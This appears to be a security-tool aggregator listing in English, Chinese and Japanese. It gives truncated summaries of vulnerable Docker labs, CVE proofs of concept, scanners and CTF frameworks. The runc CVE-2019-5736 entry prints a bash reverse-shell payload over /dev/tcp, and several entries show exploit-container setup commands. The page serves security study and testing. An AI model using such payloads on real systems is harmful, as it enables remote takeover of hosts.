tiktok-scraper

TikTok Scraper & Downloader Scrape and download useful information from TikTok. No login or password are required This is not an official API support and etc. This is just a scraper that is using TikTok Web API to scrape media and related meta information. Content Features To Do Contribution...

Sitadel

Sitadel - Webアプリケーションセキュリティスキャナ root@kitploit: | || || | / | | | | | | | | | | || | | | \ | | |/ | | | | || | | | |/ | | | | | | /|| ||\ Sitadel は基本的に WAScan のアップデートであり、python = 3.11 に対応しています。 新しいモジュールを作成し、新機能を実装するための柔軟性が向上しています： フロントエンドフレームワークの検出 コンテンツデリバリネットワークの検出 スキャンを許可するリスクレベルの定義 プラグインシステム...

distro_checker

distrochecker 跨发行版漏洞利用测试 - Docker 跨发行版漏洞利用测试 - 第 2 部分 - Vagrant...

CVE-2022-27518_POC

CVE-2022-27518POC root@kitploit: docker pull quay.io/citrix/citrix-k8s-cpx-ingress:13.0-58.30 使用以下命令验证 CPX 镜像是否已安装在 docker 镜像中 root@kitploit: docker images | grep 'citrix-k8s-cpx-ingress' 使用以下命令创建以桥接模式运行的 CPX 容器实例 root@kitploit: docker run --rm -dt -P --privileged=true -e EULA=yes --ulimit core=-...

CVE-Factory

CVE-Factory：规模化专家级智能体任务以应对代码安全漏洞 CVE-Factory 是一个多智能体（Multi-Agent）系统，用于实现完全自动化的端到端 CVE 复现。给定 CVE 记录后，系统会自动研究详细信息、生成测试用例、构建 Docker 环境，并验证每个漏洞既可利用也可被修补。该流水线无需人工干预即可将 CVE 元数据转换为可复现、可测试的漏洞环境。 ⚠️ 安全警告 ：本系统会构建并运行包含易受攻击软件的 Docker 容器。你必须 使用 Docker-in-Docker（DinD）环境 将 CVE 容器与宿主机系统隔离。切勿直接在宿主机的 Docker 守护进程上运行...

cve-2019-5736-poc

追加すべきヘッダー stage2.c bash include bash include 攻撃者PCのIPに修正 stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Dockerイメージおよびコンテナの作成 root@kitploit: $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak...

cve-2018-1273

CVE-2018-1273 这是 Cved 的一部分： 一个管理易受攻击的 Docker 容器的工具。 Cved: https://github.com/git-rep-src/cved 镜像来源: https://github.com/cved-sources/cve-2018-1273 镜像作者: https://github.com/Medicean/VulApps/tree/master/s/spring/2...

Pentest-Collaboration-Framework

Pentest Collaboration Framework Pentest Collaboration Framework - an opensource, cross-platform and portable toolkit for automating routine processes when carrying out various works for testing! Explore the docs » ‼️ Important Links...

Offensive

进攻性技术课程 本仓库包含多个漏洞的描述及其利用代码。 可被利用的环境位于 /dockerfiles/victim 文件夹中。攻击者环境位于 /dockerfiles/attacker 文件夹中。所有内容均以 Docker 镜像形式提供。 已利用的 CVE： CVE-2008-2938（Tomcat 路径遍历） CVE-2014-1904（Spring 路径遍历） CVE-2014-2064（Jenkins 信息泄露） CVE-2016-1240（Tomcat 权限提升） 针对每个漏洞，攻击者会在受害服务器上上传一个 shell，并感染每个网页，以便包含一个漏洞利用工具包。...

ictf-framework

iCTFフレームワーク 3.0 これはShellphishがiCTFを開催するために使用するフレームワークです。 iCTFフレームワークは、2014年のUsenix 3GSEワークショップで発表された論文で説明されています。 私たちは、教育者やトレーナーが自身のA/D CTFを開催できるようにするため、これを公開しました。このフレームワークは商用利用無料ですが、提供できるサポートは限られています。 将来的には各コンポーネントに関するより詳細な技術文書を公開する予定ですが、現時点ではゲームの作成方法についてはこちらで説明を見つけることができます。...

TTPRunner

TTPRunner パープルチーム運用のための自律型TTP実行エージェント 脅威レポートを投入すると、攻撃計画を立案します。承認後、自動実行します。 機能...

cve-2019-5736-exp

cve-2019-5736-exp 这是针对 CVE-2019-5736 漏洞的概念验证（PoC）利用，该漏洞存在于 Docker 所使用的运行时 runc 中。 免责声明 我将此项目作为一次练习，出于教育和娱乐目的而进行。不言而喻，我不支持对本代码进行不道德和/或非法的滥用。 描述 该漏洞由 Adam Iwaniuk 和 Borys Popławski 发现，并在 这篇博客文章 中进行了描述。感谢这项出色的研究！ 使用方法 构建恶意容器： root@kitploit: docker build . 运行该容器将导致 runc 二进制文件被 payload 文件的内容覆盖，即：...

authelia

Authelia is an open-source authentication and authorization server providing two-factor authentication and single sign-on SSO for your applications via a web portal. It acts as a companion for reverse proxies by allowing, denying, or redirecting requests. Documentation is available at...

CVE-2024-3400-PoC

このリポジトリには、エクスプロイトのための安全な環境をセットアップするスクリプトと、以下のエクスプロイト段階を実行するスクリプトが含まれています： CVE-2024-3400 Palo Alto Firewall テスト環境 このリポジトリは、エクスプロイトをテストするために必要な構成でPalo Altoファイアウォールのテスト環境を迅速にセットアップできるシェルスクリプトを提供します。 必要条件 システムにDockerがインストールされていること。 Palo Altoファイアウォールコンテナイメージをダウンロードするためのインターネット接続。 使用方法 1...

vulnx

VulnX Vulnx 🕷️ is An Intelligent Bot Auto Shell Injector that detects vulnerabilities in multiple types of Cms...

bitcrook

Bitcrook OSINT調査を一元化し迅速化します ロードマップを見る 目次 情報 概要 免責事項 変更履歴 プレビュー 謝辞 使い方 インストール CLI GUI Docker 認証 情報 概要 Bitcrookは、調査に必要なすべてのツールを一元化することを目的としたオープンソースインテリジェンスツールです。調査には依然として人間によるつなぎ合わせが必要ですが、インターフェースは個人のニーズに合わせてカスタマイズでき、デューデリジェンスのプロセスを迅速化できます。一部のパッケージは認証キーを必要とし、その他のパッケージは必要ありません。詳細については パッケージの種類...

CVE-2021-41773S

CVE-2021-41773 Apache 路径遍历漏洞的易受攻击 Docker 镜像 该漏洞 仅 适用于具有特定非默认配置的 2.4.49 版本。在某些情况下，这可能导致文件读取或代码执行。 https://twitter.com/ptswarm/status/1445376079548624899 可造成文件读取的漏洞配置 可直接从 Docker Hub 拉取容器 docker pull blueteamsteve/cve-2021-41773:no-cgid 并使用以下命令执行 docker run -dit -p 8080:80...

CVE-2023-2982

此仓库提供了一种将此Python脚本部署到Docker容器中的方法。...

xss_vulnerability_challenges

XSS Vulnerability Scenarios challenges This repository is a Dockerized php application containing some XSS vulnerability challenges. The ideas behind challenges are: Javascript validation bypass html entities bypass WAF bypass Black-list validation bypass Basic XSS validation bypass Double encode...

cve-2014-6271

CVE-2014-6271 これはCvedの一部です： 脆弱なDockerコンテナを管理するツール。 Cved: https://github.com/git-rep-src/cved 画像ソース: https://github.com/cved-sources/cve-2014-6271 画像作成者: https://github.com/Medicean/VulApps/tree/master/b/bash/shellshock1CVE-2014-6271...